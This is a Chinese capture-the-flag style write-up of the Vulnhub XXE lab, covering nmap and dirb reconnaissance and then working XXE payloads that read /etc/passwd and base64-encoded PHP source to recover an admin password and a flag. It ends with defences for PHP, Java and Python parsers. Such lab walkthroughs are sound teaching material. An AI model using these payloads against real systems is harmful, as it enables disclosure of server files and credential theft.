专栏首页字节脉搏实验室Vulnhub XXE靶机复现

Vulnhub XXE靶机复现

文章源自【字节脉搏社区】-字节脉搏实验室

作者-purplet

靶机下载链接:https://download.vulnhub.com/xxe/XXE.zip

1.检查网络模式配置是否正确

我们这里的VMnet8 是NAT模式啊(打开虚拟网络编辑器:虚拟机的左上角 编辑 –->网络虚拟编辑器)接下来切换到kali linux即可开启愉快的练习了。

2.信息收集

首先扫描C段存活主机,找到目标机器,使用命令nmap 192.168.194.0/24

红框区域即为目标主机IP,同时发现只开放了80端口,接着使用nmap -A 192.168.194.188探查详细信息

再使用dirb http://192.168.194.188对目录进行爆破,或者使用dirsearch等其他目录扫描工具,结果如下图所示。

综上:我们得知该网站存在80端口,robots.txt和xxe目录。

3.渗透测试:

(1)访问http://192.168.194.188/robots.txt

(2)访问http://192.168.194.188/xxe,是一个登陆页面

(3)输入内容抓包测试,可以看到用户名和密码是通过xml传递给后端的。

(4)尝试测试是否存在xxe漏洞

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>

得到内容回显,再次尝试使用php://filter/read=convert.base64-encode/resource=admin.php读取/xxe/目录下的admin.php的源码

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>

将得到的base64编码的admin.php的源码进行解密

可以得到登录的账号和密码,将密码的md5指拿去在线网站进行解密得到:admin@123

访问:http://192.168.194.188/xxe/admin.php,输入得到的账号密码

点击Flag,跳转到http://192.168.194.188/xxe/flagmeout.php,查看源代码得到一串base32字母,解密后再进行一次base64解密,得到

这里注意在源码中给出了输入正确用户名和密码的跳转链接,同时完全可以在不输入正确的用户名和密码的情况下直接访问。这种情况在实际渗透测试的过程中要注意,说不定会有惊喜,可以省不少麻烦。

接下来回到刚刚存在xxe漏洞的页面,继续抓包读取/etc/.flag.php文件

解码后得到一串疑似php的代码,但是变量名做了大幅度修改

最后将该代码拿到php代码美化网站进行格式化,如:http://www.jsons.cn/phpformat/,再放到phpstudy上保存为flag.php。访问从报错信息中得到flag。

防御措施:

xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都设置为false,从而避免基于XXE漏洞的攻击。

1.禁用xml外部实体

PHP:
libxml_disable_entity_loader(true);                          
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤xml外部实体的关键字:

  过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等

本文分享自微信公众号 - 字节脉搏实验室(zijiemaiboshiyanshi),作者:purplet

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • HTB靶机-base实战分享

    之后准备长期更新HTB系列,由易到难,开了VIP,所有靶机的思路都会更新,让大家尽可能多的学习到挖洞技巧,请大家持续关注咱们的微信公众号,字节脉搏实验室。

    字节脉搏实验室
  • 实战-某QQ邮箱钓鱼网站白盒渗透POC

    简述:利用PHP程序中含有逻辑问题(仅验证admin_pass),绕过login页面,登录后台

    字节脉搏实验室
  • 网络安全自学篇-PHP代码审计(十)

    相关设置:allow_url_fopen:Off/On allow_url_include:Off/On

    字节脉搏实验室
  • LNMPA环境下Thinkphp5.1莫名500错误的解决方法

    近期使用Thinkphp5.1做项目,在本地测试完好的代码,放到服务器上就500错误,开启显示PHP错误日志也不会有任何信息显示出来。最后发现是文件夹读写权限的...

    用户2135432
  • RabbitMQ系列笔记终极封装篇

    在阅读本篇笔记时,如果你还不熟悉RabbitMQ,请查看公众号中关于RabbitMQ系列笔记相关文章,如果你已经熟悉了,还请在本篇文章多多指教。本文使用go m...

    陌无崖
  • VS Code 扩展巡礼-REST Client

    REST Client 是 VS Code 商店的一个 HTTP 访问扩展,官方地址 REST Client[1],用于模拟 HTTP 请求。

    needrunning
  • 数据分析——pyecharts

    py3study
  • linux安装部署Tomcat服务器

    unix和linux平台下做web服务器: -Apache,Nginx,Lighttpd(支持php,python) -Tomcat,IBM webspher...

    吴柯
  • 【OpenCV】基本单元Mat类

    xieixe

    EdenChen
  • 月之初 数之慎

    上周日,也就是9月1日,收到了一则用户的故障请求,系统中一个存储过程出错,紧急安排工程师响应处理,解决了故障。 我们经历过很多类似的故障,在月初、月尾、年初、年...

    数据和云

扫码关注云+社区

领取腾讯云代金券